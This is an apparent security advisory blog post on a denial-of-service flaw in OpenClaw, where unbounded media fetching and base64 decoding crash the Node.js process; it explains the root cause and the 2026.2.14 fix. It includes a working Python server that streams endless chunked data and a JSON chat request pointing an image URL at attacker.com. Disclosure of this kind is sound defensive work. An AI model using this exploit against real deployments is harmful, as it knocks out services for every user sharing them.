Feb 18, 2026·5 min read·5 visits
OpenClaw failed to implement backpressure or size limits when fetching remote media or decoding base64 inputs. An attacker can trigger a crash (OOM) by supplying a URL that serves an infinite stream of data or a gigabyte-sized base64 string. Fixed in version 2026.2.14 by implementing streaming reads with byte counting.
OpenClaw, a popular open-source AI assistant engine, suffered from a critical Denial of Service (DoS) vulnerability due to unbridled resource consumption. By feeding the engine a URL pointing to an infinite stream or a massive base64 payload, an attacker could force the application to allocate memory until the Node.js process crashed (OOM). This report details how the developers relied on 'trusting' the data source and how a simple architectural oversight turned OpenClaw into a memory-leaking time bomb.
In the rush to build 'Agentic AI', developers often forget the basics of web security. OpenClaw is designed to be helpful—it fetches images, reads PDFs, and processes context for you. It's an eager digital puppy. Unfortunately, it was also a puppy that didn't know when to stop eating.
The core feature at play here is media ingestion. When you give OpenClaw a URL (like an image to analyze), it has to fetch that resource, buffer it, and pass it to the underlying LLM or OCR engine. In a perfect world, users only provide links to valid, reasonably sized JPEGs. In the real world, users—and specifically attackers—provide links to /dev/zero or custom HTTP servers that never stop sending data.
Because OpenClaw operates as a backend service (often within a larger Node.js orchestration layer), crashing it doesn't just annoy a user; it kills the context for everyone sharing that instance, potentially bringing down expensive GPU-connected containers along with it.
The root cause of this vulnerability is a classic developer trap: prioritizing convenience over control. In the JavaScript fetch API, the method response.arrayBuffer() is incredibly convenient. It takes a stream, buffers it entirely into the heap, and resolves with a nice, clean buffer. It is also completely suicidal if you don't control the source.
Here is the logic flaw: OpenClaw attempted to check the Content-Length header to verify file size. However, Content-Length is optional. Worse, an attacker controlling the malicious server can simply omit the header or use Transfer-Encoding: chunked. In this scenario, the browser/runtime doesn't know the size until the stream ends.
OpenClaw's code effectively said, "Open your mouth and don't close it until the food stops coming." If the food never stops coming (or stops after 4GB), the Node.js process hits its heap limit (typically 2GB-4GB depending on flags) and the V8 engine triggers a fatal "JavaScript heap out of memory" crash. This is a trivial, unauthenticated remote DoS.
Let's look at the smoking gun. The vulnerable implementation in fetchWithGuard looked something like this (simplified for dramatic effect):
// VULNERABLE CODE
const response = await fetch(url);
// Fatal Flaw: The code assumes this will finish successfully
// and fit in RAM. It does not enforce a limit during ingestion.
const buffer = await response.arrayBuffer();
if (buffer.byteLength > MAX_SIZE) {
throw new Error("Too big!"); // Too late! We already crashed.
}The fix required moving from a "buffer then check" model to a "check while buffering" model. The patch (Commit 00a08908892d1743d1fc52e5cbd9499dd5da2fe0) introduces a streaming reader. Instead of waiting for the whole payload, it sips the data in chunks.
// FIXED CODE (Concept)
const reader = response.body.getReader();
let total = 0;
while (true) {
const { done, value } = await reader.read();
if (done) break;
total += value.length;
if (total > MAX_BYTES) {
reader.cancel(); // Stop the stream immediately
throw new Error("Mouth full!");
}
chunks.push(value);
}This change ensures that memory usage never exceeds MAX_BYTES + chunkSize. If the attacker tries to send a 10GB file, the loop terminates the moment total hits the limit (e.g., 5MB), and the connection is severed.
To exploit this, we don't need advanced heap grooming or ROP chains. We just need a Python script and a bad attitude. We will set up a rogue HTTP server that sends a never-ending stream of random bytes.
import socket
# Create a socket that listens on port 8080
server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
server.bind(('0.0.0.0', 8080))
server.listen(1)
print("Listening for OpenClaw connection...")
while True:
client, addr = server.accept()
request = client.recv(1024)
# Send headers without Content-Length
# This forces the client to read until connection close
client.send(b"HTTP/1.1 200 OK\r\n")
client.send(b"Content-Type: image/png\r\n")
client.send(b"Transfer-Encoding: chunked\r\n\r\n")
# Send 10GB of junk
try:
while True:
# Send a 1MB chunk size hex
client.send(b"100000\r\n")
client.send(b"A" * 1048576 + b"\r\n")
except BrokenPipeError:
print("Client crashed or disconnected.")Simply send a request to the OpenClaw API (e.g., via the chat interface or file upload endpoint) pointing to http://<attacker-ip>:8080/image.png.
{
"role": "user",
"content": [
{
"type": "image_url",
"image_url": { "url": "http://attacker.com:8080/exploit.png" }
}
]
}OpenClaw will attempt to download the "image". The Python script will keep feeding it 'A's until the Node.js Garbage Collector gives up the ghost.
The remediation is available in version 2026.2.14. The developers implemented two key defenses:
fetchWithGuard now manually pumps the stream and counts bytes.estimateBase64DecodedBytes. This formula (length * 3 / 4) - padding calculates the final binary size before attempting to allocate the buffer for decoding.> [!WARNING]
> Researcher Note: The base64 fix includes a line .replace(/\s+/g, "") to clean the input before estimation. While this fixes the OOM crash during decoding, a massive string (e.g., 500MB of pure whitespace) could ironically still cause a CPU spike or secondary memory issue depending on how the regex engine handles the replacement string allocation. It's a fix, but it's not bulletproof against all forms of resource exhaustion.
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H| Product | Affected Versions | Fixed Version |
|---|---|---|
openclaw openclaw | < 2026.2.14 | 2026.2.14 |
clawdbot openclaw | <= 2026.1.24-3 | 2026.1.25 |
| Attribute | Detail |
|---|---|
| CWE | CWE-400 (Uncontrolled Resource Consumption) |
| CVSS | 7.5 (High) |
| Attack Vector | Network (Remote) |
| Exploit Reliability | High (Deterministic) |
| Impact | Service Crash (Availability) |
| Status | Patched |
The software does not properly restrict the size or amount of resources that are requested or influenced by an actor, which can be used to consume all available resources.